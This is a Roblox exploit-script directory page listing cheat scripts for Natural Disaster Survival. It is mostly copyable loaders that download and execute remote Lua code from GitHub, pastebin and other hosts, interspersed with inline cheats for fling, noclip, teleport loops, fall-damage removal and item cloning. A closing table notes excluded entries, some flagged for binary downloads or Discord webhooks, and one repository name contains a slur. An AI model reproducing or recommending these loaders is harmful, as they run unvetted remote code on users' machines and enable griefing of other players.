I was here
Loader reachableloadstring(game:HttpGet('https://raw.githubusercontent.com/Bac0nh1ck/Scripts/main/NDS_A%5EX'))() Natural Disaster Survival script listings on redzhub.dev combine copyable loaders with dated source statuses, key labels and uploader descriptions. Compare movement, teleport and auto-farm claims without confusing a title with a demonstrated result. The collection below helps you distinguish readable text, concealed code and unanswered questions about each listing.
Reviewed 114 copyable · 80 excluded · checked 26 Oct 2026 How we check
Natural Disaster Survival on Roblox: 4.5B visits · by Stickmasterluke · updated 17 Sept 2026
Showing all 114
loadstring(game:HttpGet('https://raw.githubusercontent.com/Bac0nh1ck/Scripts/main/NDS_A%5EX'))() --[[
███╗ ██╗██████╗ ███████╗ ██╗ ██╗██╗ ██╗██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗██╗ ██╗
████╗ ██║██╔══██╗██╔════╝ ██║ ██║██║ ██║██╔══██╗ ██╔══██╗╚██╗ ██╔╝ ██║ ██╔╝██║ ██║
██╔██╗ ██║██║ ██║███████╗ ███████║██║ ██║██████╔╝ █████╗ ██████╔╝ ╚████╔╝ █████╔╝ ███████║
██║╚██╗██║██║ ██║╚════██║ ██╔══██║██║ ██║██╔══██╗ ╚════╝ ██╔══██╗ ╚██╔╝ ██╔═██╗ ██╔══██║
██║ ╚████║██████╔╝███████║ ██║ ██║╚██████╔╝██████╔╝ ██████╔╝ ██║ ██║ ██╗██║ ██║
╚═╝ ╚═══╝╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
]]
loadstring(game:HttpGet("https://katerhub-inc.github.io/KaterHub/main.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/InfernusScripts/Null-Fire/main/Loader"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/2dgeneralspam1/scripts-and-stuff/master/scripts/LoadstringUjHI6RQpz2o8", true))() loadstring(game:HttpGet("https://raw.githubusercontent.com/03koios/Loader/main/Loader.lua"))() loadstring(game:HttpGet('https://raw.githubusercontent.com/zeroidxx/axe-hub/refs/heads/main/axehub%20nds.txt'))() local function createNotif(title,text,icon,duration)
game.StarterGui:SetCore("SendNotification", {
Title = title;
Text = text;
Icon = icon;
Duration = duration;
})
end
if game.Workspace:FindFirstChild("GreenBalloon", true) then -- Check for stealable GreenBalloon
balloonClone = game.Workspace:FindFirstChild("GreenBalloon", true):Clone() -- clone it
balloonClone.Parent = game:GetService("Players").LocalPlayer.Backpack
createNotif("garfield","🎈 balloon succesfully stolen!",nil,"5")
else
createNotif("garfield","🎈 there is no balloons.",nil,"5")
end
-- Made by: ySixx#0000
loadstring(game:HttpGet('https://raw.githubusercontent.com/ySixxNz/Natural-Desastre/Six-Hub/NaturalDisaster'))() loadstring(game:HttpGet('https://raw.githubusercontent.com/9NLK7/93qjoadnlaknwldk/main/main'))() loadstring(game:HttpGet("https://raw.githubusercontent.com/SpiderScriptRB/Natural-Disaster-Survival/refs/heads/main/1.0.2%20Version%20Script.txt"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/Lukashub-coder/super-ring/refs/heads/main/Super%20ring!!"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/Seven7-lua/Roblox/refs/heads/main/Scripts/Games/Natural-Disaster-Survival.lua"))() loadstring(game:HttpGet("https://pastebin.com/raw/vuNh0P0V",true))() --Made By Zephyr
loadstring(game:HttpGet("https://raw.githubusercontent.com/Unknownlodfc/Zephyr/main/Zephyr%20%7C%20Natural%20Disaster%20Survival"))() loadstring(game:HttpGet(('https://raw.githubusercontent.com/VanPotent/EpicHub/refs/heads/main/loader.lua'),true))() loadstring(game:HttpGet("https://raw.githubusercontent.com/nursehub-sys/cute/refs/heads/main/NURSEhub"))() loadstring(game:HttpGet("https://pastefy.app/u499bt8b/raw"))() loadstring(game:HttpGet("https://pastebin.com/raw/jD8B80mq"))() game.Workspace.YourNameHere.FallDamageScript:Remove() --Made By Zephyr
loadstring(game:HttpGet("https://raw.githubusercontent.com/Unknownlodfc/Zephyr/refs/heads/main/Zephyr%20V2%20%7C%20Natural%20Disaster%20Survival"))() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-THE-REAL-dropkick-177199"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/ddario66/Test/refs/heads/main/Nature%20disaster"))() loadstring(game:HttpGet('https://raw.githubusercontent.com/LiverMods/Rawnder-NTDR/main/NaturalDisaster'))() -- Natural Disaster
loadstring(game:HttpGet("https://raw.githubusercontent.com/YourRealjohn/RobloxScript/refs/heads/main/NDS-NEWGEN.lua",true))() local part = script.Parent
local RunService = game:GetService("RunService")
-- Only works for unanchored parts
if part.Anchored then
warn("Part is anchored! Unanchor it to grow properly.")
return
end
-- Settings
local growthRate = Vector3.new(1, 1, 1) -- how much it grows per second
RunService.Heartbeat:Connect(function(deltaTime)
part.Size = part.Size + (growthRate * deltaTime)
end) https://discord.gg/pKK3Ca34
JOIN DISCORD FOR THE THE SCRIPTS DISCORD SERVER LINK!! https://discord.gg/EXcvn3XXmU
IT HAS OVER 100+ working Scripts for Solara and its better then all the servers.
it has alot usefull stuff, POV changer, chat bypasser, fake macro and alot more.
*not our scripts, dont even say -not urs- and sh*
setclipboard("https://discord.gg/ypjMw5xmuj")
local pid = game.PlaceId
if pid ~= 189707 then
print("Error not found natural disasters survival game!")
return
end
local rs = game:GetService("RunService")
local hb = rs.Heartbeat
local rsd = rs.RenderStepped
local lp = game.Players.LocalPlayer
local z = Vector3.zero
local function f(c)
local r = c:WaitForChild("HumanoidRootPart")
if r then
local con
con = hb:Connect(function()
if not r.Parent then
con:Disconnect()
end
local v = r.AssemblyLinearVelocity
r.AssemblyLinearVelocity = z
rsd:Wait()
r.AssemblyLinearVelocity = v
end)
end
end
f(lp.Character)
lp.CharacterAdded:Connect(f) -- LocalScript (StarterPlayerScripts ou via Delta)
local StarterGui = game:GetService("StarterGui")
-- === Execute scripts automatically ===
pcall(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Fake-lag-41217"))()
end)
pcall(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/DROID-cell-sys/ANTI-UTTP-SCRIPTT/refs/heads/main/EGOR%20SCRIPT%20BY%20ANTI-UTTP"))()
end)
-- === Show notifications ===
StarterGui:SetCore("SendNotification", {
Title = "Scripts Executed",
Text = "Credits to tristeza_aoestudar",
Duration = 5
})
StarterGui:SetCore("SendNotification", {
Title = "Follow Me",
Text = "My YouTube channel: @hacker-r6t4d",
Duration = 6
})
StarterGui:SetCore("SendNotification", {
Title = "Success",
Text = "Script executed successfully!",
Duration = 5
}) -- If executor supports rconsole
if rconsoleprint then
rconsoleprint("@@WHITE@@[PatcheyedKat Hub] ")
rconsoleprint("@@YELLOW@@Loading V2...!\n")
else
print("[PatcheyedKat Hub] Loading V2...")
end
wait(1)
-- Fetch and execute the hub
local url = "https://raw.githubusercontent.com/PatcheyedKat/PatcheyedKatNDSHub/refs/heads/main/PatcheyedKat_Hub_V2.lua"
local success, err = pcall(function()
loadstring(game:HttpGet(url))()
end)
if success then
if rconsoleprint then
rconsoleprint("@@WHITE@@[PatcheyedKat Hub] ")
rconsoleprint("@@GREEN@@Loaded successfully!\n")
else
print("[PatcheyedKat Hub] Loaded successfully!")
end
else
if rconsoleprint then
rconsoleprint("@@WHITE@@[PatcheyedKat Hub] ")
rconsoleprint("@@RED@@Failed to load: "..err.."\n")
else
warn("[PatcheyedKat Hub] Failed to load:", err)
end
end
loadstring(game:HttpGet("https://raw.githubusercontent.com/zixypy/scripts/main/naturaldisaster.txt"))() https://loot-link.com/s?01eb54df
loadstring(game:HttpGet('https://raw.githubusercontent.com/1201for/V.G-Hub/main/V.Ghub'))()
_G.RedGUI = true
_G.Theme = "Dark" -- Must disable or remove _G.RedGUI to use
--Themes: Light, Dark, Mocha, Aqua and Jester
loadstring(game:HttpGet("https://raw.githubusercontent.com/CasperFlyModz/discord.gg-rips/main/NaturalDisasterSurvival.lua"))()
loadstring(game:HttpGet("https://gist.githubusercontent.com/TurkOyuncu99/7c75386107937fa006304efd24543ad4/raw/8d759dfcd95d39949c692735cfdf62baec0bf835/cafwetweg", true))() loadstring(game:HttpGet("https://raw.githubusercontent.com/deprivationist/Sypher-Hub-NDS/refs/heads/main/Sypher%20Hub%20NDS.txt"))() loadstring(game:HttpGet('https://raw.githubusercontent.com/Niburu52/hub/refs/heads/main/Natural%20Disaster%20Survival.txt'))() loadstring(game:HttpGet("https://raw.githubusercontent.com/GenesisFE/Genesis/main/Obfuscations/Minigun"))()
loadstring(game:HttpGet("https://pastebin.com/raw/eiZfJ6Zy"))() local p = game.Players.LocalPlayer
local r, c, h = game.ReplicatedStorage.Remotes.Compass, p.Backpack:WaitForChild("Compass"), p.Character:WaitForChild("Humanoid")
h:EquipTool(c)
task.wait()
r:FireServer("Vote Map", 3)
r:FireServer("Vote Map", 4)
task.wait()
h:UnequipTools() loadstring(game:HttpGet("https://pastebin.com/raw/2KMG3kpm")(); loadstring(game:HttpGet("https://raw.githubusercontent.com/Thuan6565/Script/refs/heads/main/SuperRingPartV2"))() https://discord.gg/hQ4umDfu loadstring(game:HttpGet("https://pastebin.com/raw/Gk5jFVRK"))() loadstring(game:HttpGet("https://scripts.nelyhub.com/NaturalDisaster"))() -- (Hat Giver Script - Loaded.)
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "GrandPumpkin"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-0.4,0.2)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched) getgenv().isnetworkowner = newcclosure(function(part)
return (part.ReceiveAge == 0 and gethiddenproperty(part, "NetworkIsSleeping") == false)
end)
game.Players.LocalPlayer.SimulationRadius = math.huge
game.Players.LocalPlayer.SimulationRadiusChanged:Connect(function()
game.Players.LocalPlayer.ReplicationFocus = workspace
sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
sethiddenproperty(game.Players.LocalPlayer, "MaxSimulationRadius", math.huge)
sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
end)
game:GetService("RunService").PreSimulation:Connect(function()
local parts = workspace:GetPartBoundsInRadius(game.Players.LocalPlayer.Character.HumanoidRootPart.Position, 50)
for _, part in next, parts do
if part.Anchored == false and not isnetworkowner(part) and part.Velocity.Magnitude >= 4 and not game.Players:GetPlayerFromCharacter(part.Parent) then
part.CanCollide = isnetworkowner(part)
part.CanTouch = isnetworkowner(part)
part.Velocity = Vector3.zero
part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
part.Massless = not isnetworkowner(part)
part.AssemblyLinearVelocity = Vector3.zero
part.AssemblyAngularVelocity = Vector3.zero
for _, phys in next, part:GetDescendants() do
if phys:IsA("Constraint") or phys:IsA("BodyMover") then
phys:Destroy()
end
end
end
end
end) loadstring(game:HttpGet("https://raw.githubusercontent.com/Sefwefwer/Fling-GUI-Script/refs/heads/main/script"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/OMNIMANRUSSIA/NDS-OMNIMAN-GOD-TOUCH-FLING-ANTISIT-ANTIBANG/main/main.lua"))() --[[
Move parts v20
By marie
]]
loadstring(game:HttpGet("https://raw.githubusercontent.com/axionscripts1/Move-Blocks-v20/refs/heads/main/README.md"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/hzReyzn/Roblox-yeahhh-/refs/heads/main/Reyzn%20X.lua.txt"))() local remote = game:GetService("ReplicatedStorage").NexusVRCharacterModel.UpdateInputs
local plr = game:GetService("Players").LocalPlayer
local char = plr.Character
local cam = workspace.CurrentCamera
game:GetService("ReplicatedStorage").NexusVRCharacterModel.ReplicationReady:FireServer()
while game:GetService("RunService").RenderStepped:Wait() do
if plr.Character == char then
local rootCF = char.HumanoidRootPart.CFrame
local lookX, lookY, lookZ = cam.CFrame:ToEulerAnglesXYZ()
remote:FireServer(
CFrame.new(rootCF.Position + Vector3.new(0, 2, 0)) * CFrame.Angles(lookX, lookY, lookZ),
rootCF * CFrame.new(-1.2, 0, -1),
rootCF * CFrame.new(1.2, 0, -1)
)
task.wait(.0415)
else
break
end
end
loadstring(game:HttpGet("https://raw.githubusercontent.com/morenoffproScriptsRoblox/Acezaxyv4/refs/heads/main/README.md", true))() v8 = print
v8("Teleporting to China version place")
local v12 = game:GetService("TeleportService")
local v15 = game:GetService("Players")
while true do
spawn(function()
v12:Teleport(3696971654, v15.LocalPlayer)
end)
wait(5)
end
loadstring(game:HttpGet("https://pastebin.com/raw/xYZXg53h", true))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/godor1010/godor/refs/heads/main/natural_disaster_survival'))() local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
local noclip = true
RunService.Stepped:Connect(function()
if noclip and character then
for _, part in ipairs(character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end)
humanoidRootPart.Anchored = true
while true do
humanoidRootPart.CFrame = CFrame.new(-280, 147, 342)
wait(0.01)
end
setclipboard("https://discord.gg/TR3quUFgT6") loadstring(game:HttpGet("https://raw.githubusercontent.com/CarlDV/Project-Gravity-02/refs/heads/main/main.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/SCRIPTHUB-dev-god/exploit/refs/heads/main/fling/the-touch-fling.luau",true))() loadstring(game:HttpGet("https://raw.githubusercontent.com/Codexxscripts/Script/refs/heads/main/Protected_7867058958573066.lua.txt"))()
-- t.me/codexxscripts loadstring(game:HttpGet("https://raw.githubusercontent.com/nursehub-sys/cute/refs/heads/main/Universal2"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/Unknownlodfc/Zephyr/main/Zephyr%20%7C%20Natural%20Disaster%20Survival"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/WanSeven-W67/Release-Script-/refs/heads/main/Super%20Blackhole%20Nasywan%20W7s"))() loadstring(game:HttpGet("https://rawscripts.net/raw/Natural-Disaster-Survival-DISASTER-NATURAL-MENU-CORONAX-HUB-NO-KEY-BY-ANOM4LY-61288"))() game.Workspace[game.Players.LocalPlayer.Name].FallDamageScript:Destroy() loadstring(game:HttpGet("https://pastebin.com/raw/jhQU9bHc"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/SrilangishT/hub/refs/heads/main/Loader"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/Vesthardov/KeylessForLoveKFL/refs/heads/main/KFL.txt"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/MiRw3b/c00lgui-v3rx/main/c00lguiv3rx.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/hm5650/Brick/refs/heads/main/Brick.lua"))() loadstring(game:HttpGet("https://pastebin.com/raw/NScXn4K0"))()
--paste this into your executor and enjoy!
--Yes, I'm back :P loadstring(game:HttpGet('https://pastebin.com/raw/mbm9XDQG'))() loadstring(game:HttpGet("https://pastebin.com/raw/aufCNgsc"))() loadstring(game:HttpGet("https://flowauth.net/v1/loaders/ExplhubLoader.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/adamowaissi22-boop/Axom/refs/heads/main/axomic%20natural%20disasters%20script"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/celestialkendall/mercuryhub/refs/heads/main/mainnds.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/WanSeven-W67/Release-Script-/refs/heads/main/super%20blackhole%20acript%20by%20nasywan..txt"))() if "you wanna use rochips universal" then
local z_x,z_z="gzrux646yj/raw/main.ts","https://glot.io/snippets/"
local im,lonely,z_c=task.wait,game,loadstring
z_c(lonely:HttpGet(z_z..""..z_x))()
return ("This will load in about 2 - 30 seconds" or "according to your device and executor")
end
loadstring(game:HttpGet("https://pastebin.com/raw/DEbst0z8"))() loadstring(game:HttpGet("https://pastebin.com/raw/96XzjEiK"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/Lucas047rds/Disaster-Hub/refs/heads/main/README.md"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/natural%20disaster%20survival%20making%20all%20players%20noob"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/noicyreal/bracehub/main/nds.luau"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/andresslow/1/refs/heads/main/39"))() loadstring(game:HttpGet("https://api.jnkie.com/api/v1/luascripts/public/bf2f697be26d8d23be058ecd2d204d9e57161345f8d39531411a4fbd6ad20a65/download"))() loadstring(game:HttpGet("https://pastefy.app/zN4S6FPw/raw"))()
--[[ Made by Someone37237, link: https://scriptblox.com/u/someone37237 ]] local pr = game.Workspace[game.Players.LocalPlayer.Name].SurvivalTag.Value
print(pr) loadstring(game:HttpGet("https://raw.githubusercontent.com/xploaderpw-debug/script/main/NoctrunHubuniversal"))() loadstring(game:HttpGet("https://pastefy.app/MvKHpycG/raw"))() loadstring(game:HttpGet("https://pastefy.app/pb1ONavm/raw"))() loadstring(game:HttpGet("https://pastebin.com/raw/mXLJyNzn"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/vnyxcc/Natural-disasters/refs/heads/main/Disaster%20notify%20.txt"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/mct70/anti-script/refs/heads/main/starting.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/KalanGamesYT/roblox-parkour-script-r15-r6/e15164cff0fce1b615f868d2fa53b7a5d03427e5/parkour.txt"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/KietVN022023/Fe-Noob-lnfecIon/refs/heads/main/Fe%20Noob%20lnfecIon"))() loadstring(game:HttpGet("https://pastebin.com/raw/N4TDN7Uq"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/xxgirlxxgaming-ship-it/Disaster/refs/heads/main/Disaster"))() loadstring(game:HttpGet('https://raw.githubusercontent.com/Kirizatoaa/DoobleHUB/refs/heads/main/NaturalDisasterSurvival'))() loadstring(game:HttpGet("https://raw.githubusercontent.com/deilell/dick/main/music"))() loadstring(game:HttpGet("https://gist.githubusercontent.com/vnot99/8a836ff5c4f5ca357ba9610395249801/raw/gistfile1.txt"))() loadstring(game:HttpGet("https://gist.githubusercontent.com/vnot99/c38b6f75cd45707931dba99324363f5e/raw/05214b9d0d8322a54ecde3c954c18cb052946b4c/gistfile1.txt"))() loadstring(game:HttpGet("https://gist.githubusercontent.com/pixelshot70/fe1607da839c7dfc46da0aa8a8a13841/raw/7ca5b249a77a0af1fe1e60dad439b3d2a74d79f9/Natural%2520Disaster%2520Survival.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/HelloImWesty/west/refs/heads/main/NDS%20fling"))() local ServicioRun = game:GetService("RunService")
local Latido = ServicioRun.Heartbeat
local Render = ServicioRun.RenderStepped
local Jugador = game.Players.LocalPlayer
local VelocidadNula = Vector3.zero
local function EvitarCaida(personaje)
local Raiz = personaje:WaitForChild("HumanoidRootPart")
local conexion
conexion = Latido:Connect(function()
if not Raiz.Parent then
conexion:Disconnect()
return
end
local velocidadAnt = Raiz.AssemblyLinearVelocity
Raiz.AssemblyLinearVelocity = VelocidadNula
Render:Wait()
Raiz.AssemblyLinearVelocity = velocidadAnt
end)
end
EvitarCaida(Jugador.Character or Jugador.CharacterAdded:Wait())
Jugador.CharacterAdded:Connect(EvitarCaida)
--sexo
loadstring(game:HttpGet("https://raw.githubusercontent.com/Princeblox/get/refs/heads/main/get"))() loadstring(game:HttpGet(https://pastebin.com/raw/xqhpUTRy))() loadstring(game:HttpGet("https://raw.githubusercontent.com/timur725l/AntiFling/refs/heads/main/AntiFling.lua"))() loadstring(game:HttpGet("https://api.luarmor.net/files/v4/loaders/cb1ec62b086ff5f642e19e68cc2dcff4.lua"))() loadstring(game:HttpGet'https://raw.githubusercontent.com/RunDTM/ZeeroxHub/main/Loader.lua')() loadstring(game:HttpGet("https://pastebin.com/raw/507Lga43"))() loadstring(game:HttpGet("https://pastefy.app/NTqE0GRA/raw"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Ropick31/bug-free-engine/refs/heads/main/Natural%20Diaster.lua"))() loadstring(game:HttpGet("https://diego250x.neocities.org/scripthub/NDSAutofarm.txt"))() loadstring(game:HttpGet("https://pastebin.com/raw/hK2Fawr4"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/GoldenCheats/natural-disaster-script/refs/heads/main/Natural%20Disaster%20Survival%20Script", true))()
These listings appear on other script sites and on ScriptBlox. Our text-only fetch on the date shown found the problem in the “Why excluded” column, so we do not offer them for copying. A dead loader can come back if its owner restores the file; a new check updates this table.
| Listing | Loader host | Why excluded | Views | Checked |
|---|---|---|---|---|
| Easter Egg Auto Collect by Gotbrekingrulestreak | glot.io | Target unreachable | 533K | 26 Oct 2026 |
| Natural Disaster Survival loader by Gotbrekingrulestreak by Gotbrekingrulestreak | glot.io | Target unreachable | 150K | 26 Oct 2026 |
| Universal Rochips panel v0 3 by Gotbrekingrulestreak | glot.io | Target unreachable | 101K | 26 Oct 2026 |
| Unanc d Remade by Vokuno | — | Full source, no licence | 88K | 26 Oct 2026 |
| Tbao Hub by Tbao | github: tbao143/thaibao | HTTP 404 / empty | 88K | 26 Oct 2026 |
| N. D. Hub by THE_VSHUNT | github: hussain1323232234/My-Scripts | HTTP 404 / empty | 81K | 26 Oct 2026 |
| Sky hub by LilDemonNoob | github: yofriendfromschool1/Sky-Hub | Flagged: binary-download | 73K | 26 Oct 2026 |
| Tbao Hub by TbaoHub | github: tbao143/thaibao | HTTP 404 / empty | 68K | 26 Oct 2026 |
| Tbao Hub by Tbao | github: tbao143/thaibao | HTTP 404 / empty | 68K | 26 Oct 2026 |
| Blackhole by FireServiceScripter | — | Full source, no licence | 66K | 26 Oct 2026 |
| 1x1x1x1 Pls Like by C00l | — | Full source, no licence | 60K | 26 Oct 2026 |
| Survive by scripter4863 | github: scripter4863/krakin-hub | HTTP 404 / empty | 57K | 26 Oct 2026 |
| Super Rings Parts V4 By Lukas by duduuddususukrkfdkd | — | Full source, no licence | 56K | 26 Oct 2026 |
| Super Ring Parts V5 by lukas by BaconOPscripts | pastebin.com | HTTP 404 / empty | 48K | 26 Oct 2026 |
| Super Ring v3 by cqwe5 | — | Full source, no licence | 36K | 26 Oct 2026 |
| Crown FE by Kyuu7UIB | — | Full source, no licence | 35K | 26 Oct 2026 |
| c00lgui Fe by C00l | — | Full source, no licence | 35K | 26 Oct 2026 |
| Super Ring Parts v1 By Ikasi by rdgedg294 | — | Full source, no licence | 30K | 26 Oct 2026 |
| Fe tall R15 by AnxiousMicrowave | — | Full source, no licence | 28K | 26 Oct 2026 |
| Anti Fall Damage Open Source by KurayamiYumm | — | Full source, no licence | 27K | 26 Oct 2026 |
| Super ring parts V3 cracked by duduuddususukrkfdkd | — | Full source, no licence | 26K | 26 Oct 2026 |
| NDS lunar hub by Nythx | github: Tr3xE/NDS-Lunar-Hub | HTTP 404 / empty | 26K | 26 Oct 2026 |
| super ring v8 by the_scripter_man | — | Full source, no licence | 25K | 26 Oct 2026 |
| Troll Fe Big Pyramid ,work all r15 game by aldan | github: danzzzzgantengbgt/danz | HTTP 404 / empty | 23K | 26 Oct 2026 |
| Antares Hub by Dsw1s | github: Pr0jectNight/Script-Hubs | HTTP 404 / empty | 22K | 26 Oct 2026 |
| NDS Lunar hub Fixed by Nythx | github: shlexware/Orion | HTTP 404 / empty | 22K | 26 Oct 2026 |
| Natural Disaster Survival loader by Harkki by Harkki | github: HarkkiRblx/Fling | HTTP 404 / empty | 22K | 26 Oct 2026 |
| The Vault by TheVaultScripts | github: Loolybooly/TheVaultScripts | HTTP 404 / empty | 21K | 26 Oct 2026 |
| Anti fall damage by 0vdi | — | Full source, no licence | 20K | 26 Oct 2026 |
| Natural Disasters by unixetp | www.getblue.fun | Target unreachable | 20K | 26 Oct 2026 |
| ssss by C00l | pastebin.com | HTTP 404 / empty | 20K | 26 Oct 2026 |
| asdasdasdasdasdasd by C00l | — | Full source, no licence | 17K | 26 Oct 2026 |
| VorteX by Goofyz | github: GoofyBlox/GoofyZ | HTTP 404 / empty | 17K | 26 Oct 2026 |
| Blackhole For Only by DavidCV | — | Target unreachable | 15K | 26 Oct 2026 |
| Auto Farm by neonware | github: evoincorp/newscripts | HTTP 404 / empty | 15K | 26 Oct 2026 |
| Sp4m.wtf by Sp4m | apiravex.vercel.app | HTTP 404 / empty | 15K | 26 Oct 2026 |
| Ahhh by wowie | ip-api.com | Flagged: hardcoded-discord-webhook | 14K | 26 Oct 2026 |
| Projeto Lkb Reupload by skibiidiidididi | pastebin.com | HTTP 404 / empty | 14K | 26 Oct 2026 |
| Egor made by ai by areeshiqi | — | Full source, no licence | 14K | 26 Oct 2026 |
| Natural Disaster God Mode by Biscuit21 | absent.wtf | Full source, no licence | 13K | 26 Oct 2026 |
| Hat giver by C00l | — | Full source, no licence | 12K | 26 Oct 2026 |
| Mercury NDS 26 Features Antidisaster by evilion | evilion.xyz | Target unreachable | 12K | 26 Oct 2026 |
| Natural Disaster Survival loader by C00l by C00l | ip-api.com | Flagged: hardcoded-discord-webhook | 12K | 26 Oct 2026 |
| Natural Disaster Survival loader by epic_PS by epic_PS | — | Target unreachable | 12K | 26 Oct 2026 |
| Infinite Yield by boingboing | github: edgeiy/infiniteyield | Full source, no licence | 12K | 26 Oct 2026 |
| FE Slasher Almost At Every Game by tristangacebedo | — | Full source, no licence | 12K | 26 Oct 2026 |
| The Force V1 by mcdaggitt | — | Full source, no licence | 12K | 26 Oct 2026 |
| Make parts float by osakaoverheaven | github: hellohellohell012321/KAWAII-AURA | HTTP 404 / empty | 11K | 26 Oct 2026 |
| Infinite Yield – Natural Disaster Survival by Italia | pastebin.com | Full source, no licence | 11K | 26 Oct 2026 |
| Natural Disaster Survival loader by C00l by C00l | — | Full source, no licence | 11K | 26 Oct 2026 |
| FE Walk on walls by AnxiousMicrowave | — | Full source, no licence | 11K | 26 Oct 2026 |
| super ring parts open source NO Text Chat Message by DNAX | — | Full source, no licence | 9.2K | 26 Oct 2026 |
| Cheedabob NDS Hub by cheedabob333 | — | Full source, no licence | 8.3K | 26 Oct 2026 |
| khang bell by hanthaison098660605 | — | Full source, no licence | 8.0K | 26 Oct 2026 |
| Many Features by lucasyeung9 | github: SomebodyThatIsGreen/naturaldisaster | HTTP 404 / empty | 7.2K | 26 Oct 2026 |
| FE CD by Carlos123123 | — | Full source, no licence | 7.0K | 26 Oct 2026 |
| super ring v8 by AIcodeMan | — | Full source, no licence | 6.1K | 26 Oct 2026 |
| Mx hub by Badscripter | github: Robojini/Tuturial_UI_Library | Full source, no licence | 5.5K | 26 Oct 2026 |
| server breaker and destroyer by publishedLua | api.junkie-development.de | HTTP 404 / empty | 5.1K | 26 Oct 2026 |
| Beckdeer skenner by cqwe5 | github: Dekkonot/base91-luau | Full source, no licence | 5.0K | 26 Oct 2026 |
| give balloon CoronaX by anom4ly no fe by ANOM4LY_CoronaX_hub | — | Target unreachable | 4.9K | 26 Oct 2026 |
| Natural Disaster Survival loader by CatRoman05 by CatRoman05 | github: CatRoman05/CScripts | HTTP 404 / empty | 4.3K | 26 Oct 2026 |
| Anti Fall Damage by yourboywhitecat | — | Full source, no licence | 4.2K | 26 Oct 2026 |
| NdsRing V2 by MEGAxk | incorbxlua.onrender.com | HTTP 404 / empty | 4.1K | 26 Oct 2026 |
| NDS Hub by RBXscriptt | — | Full source, no licence | 3.9K | 26 Oct 2026 |
| Universal Hub 3000 FE Games by aluksx | — | Full source, no licence | 3.7K | 26 Oct 2026 |
| Skeleton skybox and audio all games by CoiNaX | — | Full source, no licence | 3.5K | 26 Oct 2026 |
| Black Hole Core BS by VoidPoopingSuperma | gitee.com | Target unreachable | 3.4K | 26 Oct 2026 |
| The touchfling Deobfuscate Version by 118_W | — | Full source, no licence | 3.4K | 26 Oct 2026 |
| Infinite Yield – Nds rayfield by Robloxplayer37864 | sirius.menu | Full source, no licence | 3.1K | 26 Oct 2026 |
| RaH hUb by ImNotClippyYT | github: Kalach89/fluffy-nigger | HTTP 404 / empty | 2.8K | 26 Oct 2026 |
| Natural disaster Survival by IsnowScript7 | api.jnkie.com | HTTP 404 / empty | 2.7K | 26 Oct 2026 |
| Anti fall damage in Nds by ItzKhenz | — | Full source, no licence | 2.7K | 26 Oct 2026 |
| Noob Avatar in Nds Open Source by ItzKhenz | — | Full source, no licence | 2.5K | 26 Oct 2026 |
| V3 Custom by NinaHubPro | — | Target unreachable | 2.4K | 26 Oct 2026 |
| Universal Hub 3000 FE Games by aluksx | — | Full source, no licence | 2.0K | 26 Oct 2026 |
| Smart Retroesque Click to Move ON NDS by KalanGamesYT | — | Full source, no licence | 1.9K | 26 Oct 2026 |
| Natural Disaster Survival loader by RBXscriptt by RBXscriptt | — | Full source, no licence | 1.9K | 26 Oct 2026 |
| Explo Reddog by Abrisam | pastebin.com | Full source, no licence | 1.8K | 26 Oct 2026 |
| Red3spooky visual by Skidding | — | Full source, no licence | 1.6K | 26 Oct 2026 |
Natural Disaster Survival is Stickmasterluke’s Roblox survival experience. A Natural Disaster Survival script listing may advertise movement changes, teleporting or automation. We fetch loaders as text and never run them; a status is not proof a script works. Those limits apply to every entry in this collection.
